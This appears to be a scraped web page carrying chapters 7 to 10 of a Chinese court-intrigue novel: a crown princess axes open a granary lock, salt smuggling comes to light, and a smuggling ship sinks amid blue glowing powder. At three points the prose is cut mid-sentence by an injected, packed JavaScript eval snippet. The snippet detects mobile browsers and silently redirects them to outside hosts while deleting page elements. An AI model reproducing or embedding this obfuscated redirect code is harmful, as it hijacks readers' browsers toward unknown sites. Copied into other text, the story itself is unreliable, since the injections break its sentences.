在枕洲军械这桩营生里,坐在兵部侍郎位置上的梁世子可没少收孝敬。 而太子妃的名声,谁人不晓? 那可是梁国公府千斛明珠养出的玉观音,这般知书达理长袖善舞的贵女,出了名的周全人,竟会来这种地方……那必然是要把太子突查的火气按在梁家能兜住的份上。 汪知州紧紧咬着的后槽牙终于松开,徐徐地吐出半口气来。 有太子妃在此,眼下这关,应该算是能过了。 7.换把斧头 经过一段颠簸难捱的行程,马车停在枕洲仓库斑驳的大门前。 秋绪终于能够解放,下车后便仰起头来,深深深呼吸雨后清凉的空气,直到太阳穴突突跳动的神经渐渐平息。 呼呼,下车真好,至少不用和顾玉初独处时束手束脚。 然而未久,秋绪却感觉到一道意味不明的视线,直勾勾地刺来。 她不动声色地瞥眼,余光里汪知州的跪姿是合乎规制的恭顺,偏生看来的目光让她十分不适,不仅如此,不远处的其他官吏们之间,也在互相交换着耐人寻味的眼神。 倒也不难理解,太子突查枕洲仓是假,要动梁家盘踞多年的根系是真,即便她与顾玉初已经成婚,身在太子妃之位,可在别人眼里,她还是梁家的人。 原本太子夫妇同查案本是顺理成章,可在他们身上,倒成了两个派系的争端。 而且,她当惯隐形人,实在不大适应这炽热的注视。 汪知州见秋绪注意到他,赶紧拱手,似乎想要对她说什么,结果她稍微一侧身,就将话挡回去了,也没有回以任何眼神,只转脸看向天边流云,或者垂眸拢住被风掀起的披帛,任由他人的视线在她身上游移不定。 秋绪人虽然在这里,但完全不想蹚这趟浑水。 有钦差金符的是太子殿下,她这既无官印也无权柄的太子妃,哪里经得住这惊风巨浪,赶紧躲在一旁看戏才是正道。 显然顾玉初也不想再浪费时间,迅速将钦差金符向属官们出示,按规程核过文书印信,而后一抬下巴:“开仓!” 天空滚过雷声,似乎又要下雨。 汪知州踌躇片刻,快步上前行礼告罪:“臣之前不知二位殿下驾临,仓促间都未准备,仓库年久失修,砖瓦危坠,恐伤殿下贵体,容臣着人略加洒扫,再请入内……” 话未说完,突然有属官奔来耳语,他听罢,又为难地对着太子夫妇深深作揖,“殿下,实在不巧,库房钥匙被司库带走了,昨夜雨大,他去运河渡口治水,最迟半日可归,二位殿下可先去望海楼,稍作等候。” “望海楼”三个字似乎被刻意放重,汪知州说罢,视线又意有所指地掠过太子妃。 秋绪听出来言下之意,那望海楼是梁家产业,这是要她劝顾玉初先歇会儿呢。然而她只装作不知,站在原地,屏息静气地眼观鼻鼻观心。 两个时辰前,她才指天誓地地对顾玉初表忠心,这会儿若替梁家当了传声筒,按照他的报复心,可能会让她一次吃珀樱子吃到饱…… 不过,听汪知州情急之下想出来的办法,她只觉得好笑——真实的政斗就是如此朴实无华,平日里肆意猖狂,事到临头却耍些“钥匙没在”的孩童把戏,简直堪比那谁偷公章和那谁翻墙偷拍。* “半日?!”顾玉初听罢汪知州的借口,怒极反笑,那模样简直让汪知州后颈寒毛倒竖,“好个金贵的司库,竟是要孤这太子在此处等他半日光景?” “殿下息怒!”汪知州佝偻着腰几乎要埋进土里,嗓音发颤却仍硬撑着回答,“最多……最多两个时辰,臣必然将那司库抓回来,将钥匙呈至殿下眼前!” “殿下,莫要太迟了!”此前一直沉默的工部郎中忽然踏前一步,扬声道,“《仓律》安平二十五年第十六令,急务查验,有阻者,主官破锁代之,罪不及。” 他对顾玉初拱手,指着铁锁问,“殿下,此锁可破否?” “不可!万万不可!” 汪知州比顾玉初先喊出来,一抬眼,正好对上顾玉初刀锋似的目光,赶紧补充道,“臣这就让人去看看有无备用钥匙,二位殿下,再等一炷香……” 汪知州使劲儿对秋绪挤眉弄眼,就差直接开口了,可她却愣是优哉游哉地抬头望天赏景,低头抚平袖口上微不足道的折痕。 寒凉的秋季,可把他急得满头大汗。 这怎么和他原来所想完全不一样?太子都要破锁进仓库了,她怎么还不管呢?梁家要放弃他们了吗? 顾玉初负手而立,瞧着他的眉眼官司,慢悠悠道:“汪大人行事不尽人意,眼神倒是很活络。” 他凤目半敛,语气比这秋季雨天更要寒凉不少,“句句说着枕洲仓,余光倒总往太子妃身上瞟......孤竟不知,有什么事务有什么是不能当着孤的面儿说的?” 这话可不得了! 汪知州扑通跪下,额头抵在湿润的砖面上:“殿下明鉴!臣是想着太子妃殿下在此,按、按惯例总该……” 此番战战兢兢地托辞,倒把梁皇后多年掌权的好处揭示透彻——太子妃是仅次于皇后的女性掌权人,所有人都因她出身梁家而不敢轻视,哪怕他身边站的人是当朝太子。 言罢,汪知州原以为有救了,满怀期冀地看向秋绪,其他人的目光也都如蛛丝般缠来。 包括顾玉初。 他唇角勾起讥诮的弧度,眼底却烧着暗火。 秋绪:“……” 失策了,早该回去的。 本想看戏,却莫名其妙被拖到戏台子中央,原来狗太子把她带来是为了挡枪。 秋绪在心里大声哔哔,却在瞬间理解顾玉初的用意,于是唇角仍是弯起一个恰到好处端庄温和的弧度,对着众人颔首道:“太子殿下的意思,就是本宫的意思。” 她不紧不慢地看向汪知州,“汪大人究竟是不遵储君之命,还是要诘问陛下亲授的钦差金符?” 石砖上的积水倒映着汪知州惨白的面孔,他愕然不已,似乎是万万没想到太子妃竟会站在太子一方,难道……这一切都只是针对他的局?职方司的消息也久久未到,莫非梁家放弃他了?要让他做替死鬼,好逍遥法外? “不不不……”汪知州赶紧改口道,“半炷香!半炷香一定给您送来!” 他重重呼出一口气,随即转头招招手,让属官捧来账本呈上,紧张地说,“殿下舟车劳顿,何不先览账目?此乃安顺元年至今各项核销细录,足证仓廪清明!” “少拿假账本来糊弄孤!”顾玉初扬手打翻,冷笑道,“你当孤是平白无据来寻你麻烦?” 账本飞出一个绚丽的弧线,正好落到秋绪的脚边,她弯腰捡起,随意地拍了拍封皮:“汪大人连灰都没掸干净呢。” 此话一出,秋绪感受到身体里陌生的冲动,灼灼之火般在燃烧,一半源于太子妃之位所带来的生杀权柄,另一半则蛰伏于体内清神丹催动的无穷力气——她现在可是能拔起一棵树来! 她突然意识到自己在笑。 这就是权力与力量的甜头吗? 汪知州颤声叩首:“太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400017|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下持金符问政,臣不该多言,可是,帐面文书总要有侍郎用印的……有些陈年旧契若是抖出来,贵人脸上可不好看。” 他昂起脖颈,布满血丝的眼睛死死地盯着秋绪,一个字一个字地往外蹦,“殿下这般为难臣,难道,是贵人要臣死吗?” 非常好,秋绪要的就是他这句话。 “放肆!”她装作怒喝,心脏竟然因为难得做戏的兴奋而狂跳起来,“本宫的父亲乃陛下亲封的兵部侍郎,岂容尔等构陷!本宫今日就要为父亲讨回个说法!” 众人面面相觑,望着突然介入仓务的太子妃面露疑色,却见她绕着佩刀持戟的太子亲兵疾步走过,目光依次掠过寒光凛凛的兵刃,可都不大满意。 她拧眉摇头,朝着侍从阿山说道:“换把斧头来!” “是!”阿山飞速离去,不过片刻,便呈上一把利斧。 汪知州一惊,似乎没想到这话反而会激起太子妃的怒气,他着急忙慌地追上去,苦口婆心地劝道:“殿下!太子妃殿下,万万不可,让臣来吧……近日梅雨,库内霉气甚重,请允臣先开窗通风,再请殿下移步,行不行?” 秋绪充耳不闻,大步走至仓库门锁前,抡圆了斧柄。 “殿下!殿下不可啊!” 在汪知州的喊声里,她铆足了劲儿,将手中利斧朝着铁锁直劈而下—— 一击!二击!三击! 铁锁寸寸裂开,金铁交鸣间,锁栓崩裂! 紧接着,她抬起腿就是重重一脚,封锁的仓库大门轰然大开! 这么简单的事儿,他们还掰扯那么久。 见库门已开,顾玉初面色未变,举起手来一声令下,候命多时的玄甲亲兵立时如黑潮涌上,将枕洲仓围作铁桶,控制起来,工部与督察院的官员也速速进门,开始查验录档。 秋绪收势回眸时,正好对上顾玉初望来的眼神。 他的眼里荡漾开隐隐的笑意,偏生嵌在那双凌厉的凤眸中,惊她一跳,掌心未散的药力蓦然化作一汪麻辣溪流,顺着血脉往心口蹿腾。 也是纳了闷了。 她低头看看握斧泛红的掌心,分明有能劈开铁锁的力道,怎么被他看一眼就瑟瑟发抖了呢?难道在她的潜意识里,顾玉初就比其他人都可怕么? 蓦然间,思绪被那清淡的药香截断,顾玉初不知何时已走至她旁边,微微俯身,用只有她才听得见的声音说道:“太子妃这一斧头,倒比孤的钦差金符好使。” 秋绪听得背后发麻,瞥他一眼,后腰抵到仓门时才惊觉她已经自觉地拉开距离退了很远。 明明挺正常的一句话,怎么就被他说的有毒蛇缠绕的感觉?……秋绪还记得顾玉初在原著里的设定是病弱美青年?可他除了一身药味儿,哪里病?哪里弱? 她上辈子那才是真的资深病号,咳血昏迷不足挂齿,导致现在她就算吃了作弊丹药,都没有习惯掌控力量,以及力量所带来的底气。 秋绪不再和他搭话,将斧头丢开,背后却忽然有细碎的声响。 咔哒咔哒—— 她敏锐回眸,仓库西墙根的地砖忽然涌动起来,砂砾从砖缝间急速抖落。未等汪知州扑上前,整片地砖从里面猛地翻开,含铁长枪破土而出! 地砖下方,竟然藏着一条地道。 8.这好吃吗 一队玄甲亲卫从那地道里鱼贯而出,押解着十来个灰头土脸的苦役们,他们的双手被反剪在身后,粗布短打沾满灰尘,破口处露出伤痕。 在这众目睽睽之下,他们只佝偻着腰背,瑟缩躲闪,喉咙发出含混的呜咽声。 秋绪正疑惑呢,那么小个口子竟然能井喷似的,一直冒出人来,她是错过什么了? 此时,那队亲卫的领队便单膝叩地,向顾玉初汇报道:“禀殿下,按您入城前的部署,末将带人抄近路绕至仓库后门,正撞见这些船工从暗道往外搬货。” 说罢他挥手示意部下,亲卫又从地道里拖出十几个大麻袋,全部堆放到院中。 这一说,秋绪就明白了,看来顾玉初早料到汪知州不肯配合,暗中做了两手布置。 倒是他一贯的策略。 然而在见到那群船工的时候,汪知州的脸色已然惨白如纸,却还是强撑着说道:“殿下,仓库有地道并非罕见事,可以应对战乱或火灾,而且,近日总是大雨,货物易潮湿,他们从地道转移货物,实属……” “不对吧,汪大人。”秋绪鼻尖翕动,在空气中嗅来嗅去,疑惑问道,“既是官仓重地,怎么本宫却闻到这么重的海腥气?此处也存储海物吗?” 说话间,她已绕到船工身后,赫然发现在他们褴褛的衣袖、衣摆和裤腿处,都沾着细碎的白晶。 她使了个眼神,方才递斧的阿山很上道地凑上前,按照她的指令,一摸船工的衣服,手掌心便沾了些许白沙。 阿山仔细一瞧,大喊道:“殿下,是盐!” 秋绪也惊呼:“什么?竟然是盐!” 两个人演得很来劲,仿佛找到知己。 顾玉初没搭理那俩活宝,长剑出鞘,利落地划开麻袋,盐粒从裂口涌出,汩汩而流,没多久就堆积成小丘。 “汪大人,这就是你说的货物?”他眉峰一挑,“是要瞒着孤,将这些盐袋运去何处呢?” 未等汪知州回答,顾玉初蓦然将长剑横扫,剑尖指向船工,那凛冽的剑气当即将他们吓得一片仰倒,只会惊恐无比地摇头磕头。 可奇怪的是,他们虽然大张着嘴,却只有嘶哑的气声。 亲卫上前,掰开一个船工的嘴巴,当即惊道:“禀殿下,他的舌根已经完全溃烂!” 剩下数十个船工亦是如此。 他们竟然全都是哑巴! 秋绪闻言,瞳孔一震,猛地攥紧了裙摆,方才演戏那点儿兴奋劲全都同血色一道褪去了。 汪知州为了不走漏风声,竟然用这么阴毒的法子,将他们的舌头都割掉了?! 她的心脏仿似被狠狠捏住,一时说不出话来,下意识偏过头去,不再看那些狼狈跪在地上的船工们。 顾玉初显然也极度不悦,握着长剑的手青筋暴突,声音亦是缠着一层阴怒:“……汪大人,真是好手段。” 如此人赃并获,汪知州已经彻底无法辩解,他自知大势已去,膝盖一软便跪在地上,一把鼻涕一把泪地不停叩首:“殿下明鉴!臣不知此事,真真儿冤枉啊!” 仔细一看,他虽磕头磕得咚咚作响,眼珠子却在不停地往仓库外头瞄。 顾玉初见状,却忽然一笑:“你是在等他的信儿吗?” 他一挥手,便见亲卫丢进来个五花大绑的人,口中塞了个布团,正是汪知州放出去给职方司求救的亲信,这人才一转头便落了网,满打满算,十步都没迈出去。 汪知州这才发觉,他已经彻底孤立无援,当即扑向太子妃:“殿下开恩啊!救救我!我全是奉梁世子命行事啊!” 他的官帽早就歪得不行,满头大汗,心怀侥幸地以为梁家还能救他一命。 秋绪此时对他已经深恶痛绝,恨不得一脚踹他脸上:“猖狂!自己做下此等恶事,还要将本宫的父亲拖下水?把他的嘴堵上!看你再乱说话?!” 亲兵即刻上前,押住汪知州,布团塞进嘴里都堵不住他呜呜大叫的声音,很快就拖走了。 而后,他们将仓丁衙役尽数拘在一起,严加看管,防止灭口。转眼间,整个仓库被封锁得像个铁桶,莫说活人,连一只苍蝇都逃不出去。 工部官员从地道出来,捧着一掌心的灰砖碎片,对顾玉初汇报道:“私盐仓库在地道的最深处,这盐晶是长期堆积潮解的残留,那里还有一些麻袋与芦席。” 顾玉初未发一言,只用指尖沾起些许砖面盐粒,细细摩挲,碎末簌簌飞扬,消逝在风中。 这一趟确实是闪电战,自抵达枕洲,到锁定罪证,竟然才不到一个时辰,顾玉初的雷霆手腕着实惊人。 初时他任由汪知州用些幼稚的车轱辘话拖延,原是为了给亲卫绕后的时间。而前头更妙,让秋绪这梁府明珠当众发难,激得汪知州慌不择言将梁世子扯出来,断其后路。 属实是,一箭三雕。 不过,汪知州不过是浅滩上的虾米,真正的大鱼还藏在深水。这场战争尚未结束,顾玉初的野心远不止于此。 仓库的琐碎收尾,自然有属官料理。 在前往客栈的路上,秋绪心里还有些别扭,一是怜悯断舌的船工,二是被顾玉初当枪使,虽然她早有心理准备,可真面对这一切时,还是有些五味杂陈。 下马车后,正逢午饭点,客栈东家上了一大桌美食,她顿时就将被利用一事抛之脑后, 眼前瓷碗里的红烧肉,总比太子香得多! 她还想到一个问题。 按照原先梁家侍女对原主的掌控程度,顾玉初是怎么知道她对珀樱子过敏的呢?这已经是机密级别的情报了吧? 对此,顾玉初没有回答:“吃你的吧。” 从他这儿打听不出来,倒也正常。 秋绪心态良好,转而投入面前晶莹剔透的琥珀肘子,哪里还顾得上探究那劳什子费脑子的事儿。 要说这清神丹可真是了不得,五感敏锐竟然还能放在吃饭上,她的这一餐,酥皮烤鸭的香气,蜂蜜银耳羹的清甜,还有龙井茶淡淡的回甘,都被无限放大,放大,再放大。 三分好吃膨胀成七分! 超强饭张力! 秋绪正扒拉着珍珠米,忽然感觉到餐桌对面投来似笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15404349|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非笑的视线,刚一抬眸,就见顾玉初一手撑着腮帮子打量着她,指间还随意地转着筷子。 “以前在上面——”他真心实意地问,“不给你饭吃吗?” 秋绪一哽,筷子尖戳戳米粒。 “以往都是吃丹药,挂仙露,还有些营养汤。”就是药丸子,吊瓶子和难吃的营养糊糊,“哗啦就下去了,尝不出什么味儿来,当然没有这里的饭菜好吃啦。” “这好吃吗?”听她这么说,他不信邪似的夹起一块三丝卷尝尝,却仍然兴致缺缺,将碗里的虾仁豆腐戳得七零八落也没动一口。 秋绪实在看不下去他糟蹋食物:“殿下从小锦衣玉食,估计也看不上这些粗食。” 她善解人意地说,“你不吃就都给我吧。” 说罢就很自觉地伸手,将他面前没有动过的金沙白玉盏端过来,唏哩呼噜吃下去,汤匙把瓷碗刮得当当响。 顾玉初再次撑起腮帮子,饶有兴趣地瞧着她吃到鼻尖冒汗,畅快淋漓。真是有意思,原来有人吃的香,看客也能品出三两分趣味来。 午后时分,为防梁家暗手,顾玉初与秋绪待在同一间屋子里,他要亲自看着她。 秋绪倒没意见,唯一的坏处是这会儿听力太好,他在隔壁书房处理公务时翻动纸张的声音都听得一清二楚,吵得她只能在床上烙饼似的翻来覆去。 一时睡不着,她百无聊赖,又不敢去打扰顾玉初办公,只能抱着被子发呆。 此时兰心忽然敲门进来,从包袱里掏出两册话本:“这是前些日子殿下看了一半的书,还有一本新的,怕您闷得慌,就都带来啦。” 秋绪感动异常:“哎呀,我的好兰心!简直就是及时雨,没有你我可怎么活啊!” 兰心眯眼笑,任由秋绪给她来了个大熊抱,只小心地注意着书房的动静,而后又从怀里摸出个油纸包:“殿下看看,这是什么?奴刚从街上买回来的。” 那竟是一包糖炒栗子,热气混着焦甜,香得很。 隔壁书房,顾玉初的笔尖停顿在公文上,听着珠帘后头两个小姑娘凑一块,聊天的细语轻声,克制的笑声,还有嘎嘣嘎嘣剥壳声,不绝于耳。 他无言半晌,忽又呵的笑出来。 秋绪度过一个愉快的下午,不知何时又睡过去了。 半梦半醒间,她似乎听到书房顾玉初搁笔之声,迷糊睁眼时,竟见他正坐在床榻边,幽幽地看着她。 “啊啊啊!”秋绪被他闹鬼式的叫醒服务吓得魂飞魄散,缓过神来后,强烈谴责道:“我去,你这人,走路怎么没声音啊?” 她正想默默胸口安抚自己,却突然发现手怎么在顾玉初掌心里,正把玩似的捏着,就像那天在马车里一样。 “醒得正好。”他不动声色地将她的手放回被子里,“夜里渡口有出好戏。” 此时已是暮色将尽,他静静坐着,逆着光的轮廓倒比往常柔和不少。 但这种感觉就特别诡异。 他越是笑,她就觉得他越生气。 他越是如此缱绻温柔,她就觉得马上有人要倒霉了。 9.星河坠江 秋夜微寒,天色比先前更阴郁了些,雨丝在灯笼晕光里时隐时现。 兰心给秋绪整理好衣装,系紧鹅毛镶边的杏色斗篷,才扶着她蹬上马车。 车轮子骨碌碌地碾过石板路,秋绪趴在窗户边看了许久,忽然叫停,让兰心去把街角老翁的糖葫芦草把子整个包圆买回来。 红艳艳的果子漂亮得很,但对此类甜食,顾玉初毫无兴趣,她便自己挑了一串个头最大的糖葫芦,剩下的都让侍从们分食了。 马车晃晃悠悠前行,秋绪咬一口山楂,糖壳子又脆又甜,果肉泛着酸,冰冰凉凉好吃极了。 一连吃了四颗,她一转眼看到顾玉初正撑着额角靠在窗边看渡口布防图,想到这糖葫芦还是他掏钱买的,顿时良心收到了一点点谴责。 “真不吃吗?”她晃晃签子,见顾玉初不理她,忽然恶向胆边生,试探性地将最后一颗糖葫芦递过去。 顾玉初正在思忖公务,冷不防被山楂球戳到唇边,下意识就张嘴叼住了,咀嚼过后囫囵吞下,然后端着架子点评道:“一般。” “嘁!一~般~”秋绪心里阴阳怪气地学他说话,将签子收了,在他看不见的地方狠狠龇了一下牙。 这一趟,他们去的是枕洲渡。 兵部已经将这一季的废弃军械从京城运出,走水路经过私盐场,夜里能抵达枕洲渡口,顾玉初带来的亲卫与水师皆已经控制此处,战船隐在芦苇丛中,准备来个守株待兔。 而他们则上了另一艘停在江面上的船坊,安安静静藏着却能纵观全局。 夜幕悄悄降临,天空又潇潇地下起雨来,时而有凉风窜进船舱,搅得炭盆火星四溅。 秋绪裹着鹅绒披风,缩在船舱角落,怀里抱着上船之前兰心给她塞的手炉取暖。 她想起仓库之事,皱皱鼻子对顾玉初说:“殿下,您待会儿如果又要让我演什么戏码,提前跟我交代行不行?总好过临时用眼神示意,万一我看不懂怎么办?” 顾玉初正挑起船坊帘子往外看,被漏进来的雨丝染湿眉眼,听她说这话,轻笑一声:“怎么,怕演岔了?孤看你聪明得很,那么会随机应变,还怕这个?” “哎呀哎呀,我就是顺势而为,话本里都说,这叫灵机一动!”秋绪晃晃脑袋,带着披风银毛也跟着抖,“殿下要是提前跟我说,我就能提前动一动了。” 那得意洋洋的样子,鼻尖儿都红了。 顾玉初却忽然抬手止住她的话:“来了。” 秋绪闻言顿时精神了,三两步凑到他身边来,两人一同屏息往外看。 夜色将整个江面抹得浓黑,冷雨斜斜扎下来,远处模模糊糊地有一艘大船破雾而来,船首在浪里起起伏伏,挑着的风灯忽明忽暗。 确认旗船身份后,顾玉初发出信号,行动开始——霎时间,铜哨嘹亮的声音划破夜空,惊起岸边芦苇丛的飞鸟。 秋绪第一次看军事行动,下意识握紧了手炉,有些紧张地张望,看着不远处玄甲亲卫与水师立刻催动二十多条小船从四面掠出,未消多时便将兵部旗船围住截停。 雨幕太厚,喊话声碎在风里,就算她现在听力极佳,都不知那方发生了什么。 火把依次燃起,照出旗船甲板乱舞的人影。 两相僵持,他们最终还是打起来,一时间,流矢乱飞,整条江翻腾怒吼,巨浪滚滚。 在激战之中,秋绪抽空暗暗瞥了顾玉初一眼。 她敏锐地感觉到他的状态变了,他不再闲散自如,而是严肃的看着激战的方向,凤目凝冰,嘴唇抿成一条线,整个人紧绷得像是锁死猎物准备一扑而上的豹子。 好锋锐的气势,秋绪想,相比起在后方运筹帷幄,他好像更倾向于亲自上战场? 正在思虑间,战场上却发生意外。 他们突然发现,兵部旗船的铁锚坠入深水,导致船体突然侧倾,以瘆人的角度斜栽进江,木质龙骨发出撕裂的呜咽,砸向江面时激起的巨浪,将周围小船在瞬间拍成碎木。 顾玉初看得清楚,一挑眉:“他们竟然自发沉船了。” 秋绪没想到会看到大船在眼前崩塌,还有些心惊肉跳,但还是暗自腹诽道,兵部这有一点动静就沉船,显然有鬼,分明是要连人带着那些见不得光的货物,都一起让这黑色的江水吞没殆尽。 这该怎么办? 私盐入水,岂不是顷刻间就消失不见? 秋绪忽然眯起眼睛。 她蓦然注意到,随着旗船的沉没,先是有幽蓝的光点从船骸缝隙涌出,宛如巨龙正在蜕下鳞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407339|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲,一片片,一泼泼,江面漩涡骤然扩大,整片水域开始绽放一簇簇一蓬蓬的蓝色的荧光之花。 整条江面,好似银河倾泻,星光坠江。 如此壮观的盛景,秋绪屏住呼吸,一瞬不瞬地凝视,许久才反应过来:“是荧光……你是在用荧光当做信标?离开盐场之前,你就吩咐下去了?” 见到蓝色荧光的时候,顾玉初就知大势已定,这才松快不少,此时喉间哼出一声笑,斜倚门框的姿势像豹子终于收回利爪:“怎么样,是不是很美?” “嗯!”秋绪用力地点点头。 她的眼睫都被冷雨扑湿,却还是不舍得离开,只痴痴望着江面的星河流淌。 见她这模样,顾玉初唇角一弯,捻起她一缕散发绕在指尖,她竟然都毫无知觉。 他忽然起了逗猫的心思,俯身在她耳边轻声说:“当然美了,你知道那荧光从哪儿来吗?是你嫁妆里头那一箱夜明珠,孤让人磨成了粉,掺进盐包里了。” “什么?!”秋绪的声音一下子提高了八度,被雷劈中一般,瞪大眼睛满脸不可置信。 见她反应竟然这么大,他动作一顿,笑容未收,眼神却冷下来——怎么,她果然不是真心要跟他站在统一战线,每一次的起誓,都是为了自保罢了。 这江水中若翻滚的是她的夜明珠,她必然脱不开干系,只怕是担心梁家要找她大麻烦。 他一敛眸,正想开口,却听见秋绪崩溃的声音:“你是说,我竟然有一箱子夜明珠?!” 这一嗓子直接把顾玉初的话堵回喉咙。 她痛心疾首地看向江面:“暴殄天物啊!那是荧光吗?那是我的银子!我的马车!我的宅子!” 越说越往船外探身,活像要跳江捞钱。 顾玉初只觉得好笑:“以往没见你这般勤俭持家?” “以往也没见殿下你这么败家啊?”她猛地扯住他袖子,着急地一阵乱晃,“快快快,现在派人还能捞回多少粉?” 顾玉初腰间的冻玉海棠都被她晃得叮当乱响,方才冷凝的眼里也漫开笑意:“你当是说捞就能捞?刚才才说你聪明,现在这点事情,怎么都想不明白了?” 寂静一瞬后,秋绪又是响当当的一嗓子,眼睛瞪得更大了:“你骗我!” 10.梦见过往 “你骗我——” 话音戛然而止,秋绪如梦初醒,慌忙捂住那跑在脑子前头的嘴,生怕再吐出什么大逆不道的言论来。这清神丹给她的胆子,当真是愈发不受拘束了。 怎么说呢,她对顾玉初的惧意更多是一种“略有耳闻他不得了的事迹”、“初次相见鲜血四溅”或者“差一点点就被他一剑封喉”的死亡阴影,这些夺命一刻终究比抽象的阶级鸿沟更具威慑性,因此并不如本世界土著敏感,会时刻记得尊崇这位“太子殿下”。 “——真是骗得好哇!”秋绪急中生智举起两根大拇指,绕着顾玉初的脸点了一圈赞,“一下子就看透我钱眼儿里打转的本性,真是慧眼如炬,慧眼如炬啊!” “怎么,现在不跳江捞钱了?”顾玉初见她乱七八糟的一番话,嗤笑道,“可惜了,那是孤让人去买的砗磲粉,是捞不出夜明珠的。” “哎呀,不捞了,横竖也不是我的钱。”她抓抓脑袋,脸上这才绽开一抹赧然的笑意,“只是一瞬间从暴富到两手空空,着实过于刺激……” “除此之外呢?”他不动声色地靠近,语调舒缓地循循善诱道,“比如,只是想要逃避梁家的追责?” “没办法,见招拆招喽。”她摊摊手说,“毕竟我早有言在先,会为殿下效命,做了决定就肯定会付出代价的嘛,天下从没有免费午餐,哪有这么好的事儿?” 她神色坦然,言之凿凿,这平静的模样倒衬得顾玉初方才刹那间的怀疑很是狭隘小气了。 顾玉初不知想到什么,目光晦暗,半晌终是挥挥手道:“此处还有不少后续要梳理,你回去休息吧,会有亲卫送你。” 秋绪心中讶异,这一回顾玉初竟然真是带她来看一场戏。那戏绚烂至极,盛大非常,她恋恋不舍的目光扫过江面,荧光虽已渐渐暗淡,却仍有余光闪烁,而后听话地离开了这热闹之地。 兰心早已经在马车旁静候,见她过来,忙抬起手撩起车帘子。她在登上马车之前,忍不住再次回首,却发现顾玉初的身影早已消失不见。 秋绪回到客栈,先喝了些红糖姜汤以暖身驱寒,而后又吃了些精致茶点。待她用毕,兰心便伺候她洗漱安歇就寝。 她仍住在中午小憩时的那间客房,正当她在半梦半醒之间,忽然被一阵细碎的说话声惊醒,似乎是从隔壁房间传来。虽然隔着一段距离,空气中已然弥漫着热腾腾的苦药味,正是顾玉初身上常有的那一缕淡淡药香味。 “殿下,这药您定要喝了才是,今日还未曾沾过一口呢,可不能断了。”那声音听来,好像是阿山,言语间满是急切。 顾玉初倒是未将此事放在心上,淡淡道:“今日诸事繁杂,忙得晕头转向,哪里有闲心记起这档子事儿来?” “奴一直替您惦记着呢,每日都是奴亲自熬药,可殿下纵是事务繁忙,这药也不能不喝呀,要是能行,奴恨不得替您把药喝了。” 看来阿山是真心认为,这世界上没有比顾玉初身子骨更重要的事儿了,又轻声劝道,“殿下,公务暂且放一放吧,这事情也不是一时半会儿就能做完的,您瞧,这药都快凉了。” 此番劝说后,顾玉初并未再反驳,只听那声响,似乎是他接过了阿山递来的药,开始慢慢饮下。 阿山口口声声说愿意替主子受苦,秋绪似乎记得,在原著里,他也当真是个忠心耿耿之人。只可惜,顾玉初命丧黄泉,他作为忠仆,又怎么会有好结局呢?思及此处,不禁有些惋惜。 她的思绪渐渐飘远,似雾霭般昏昏默默,而后再次不知不觉地沉入梦乡。 然而,秋绪没想到这一次的梦境却很清晰。 她瞧了半天,琢磨出来这似乎是原著里三言两语带过,却在这个世界真真切切发生过的片段,多半是系统给她放的顾玉初微电影赠礼篇。 秋绪看见一个怀有身孕的女子,似是已故的林皇后,靠坐在粗壮银杏树边,随意将饵料撒入湖泊,垂眸静看鱼群争先恐后涌来,搅碎盈盈春水。 她的膝边有个梳着包包头的小姑娘,安安静静在玩儿着从树上落下的银杏果。 许久,不知哪个宫人提醒道:“娘娘,起风了,回吧。” 她轻轻应声,被搀扶着站起来,目光却被墙瓦上飞过的鸟群吸引,驻足许久。 秋绪终于看清,她有一双美丽却衰败的眼睛,将枯未枯。 林皇后本就心思沉郁,体弱带病,衣袖间总染着丝丝缕缕的清苦药香,就似她的人生,因为利益交换而被选入宫,却争不过圣眷独厚的梁妃。女儿天生不会说话,怀儿子时,又遭人暗算,受到惊吓早产。 太医本以为这唯一的嫡皇子要胎死腹中,她却咬碎牙将孩子生了出来,像是剖出一枚浸透鲜血的珍珠贝。 顾玉初打娘胎就带了病,头三年里,药吊子的青烟没散过,乳母总说这孩子瘦瘦弱弱,哭起来像奶猫呜咽,瞧着就可怜,后来,林皇后给他一块冻玉海棠作护身符。 魏衡帝当时瞧见,还皱眉不喜,说玉易碎,寓意不佳,林皇后却平静道:“若天灾人祸都要找本宫的孩儿讨命,这玉碎了,玉棠儿才能活。” 也不知那冻玉海棠有什么神奇功效,自从佩戴了那护身符后,小猫崽儿顾玉初的身体逐渐好起来,在开始习武后,更是健康硬朗得像一头小豹子。 可相反的,林皇后的日子却一天不如一天。 她的话越来越少,时常倚在软榻上,静静看着儿子在院内读书练剑,女儿抱着猫伏案画画,而后她慢慢合上眼,呼吸浅浅地睡过去。 最终,在顾玉初十岁那年—— 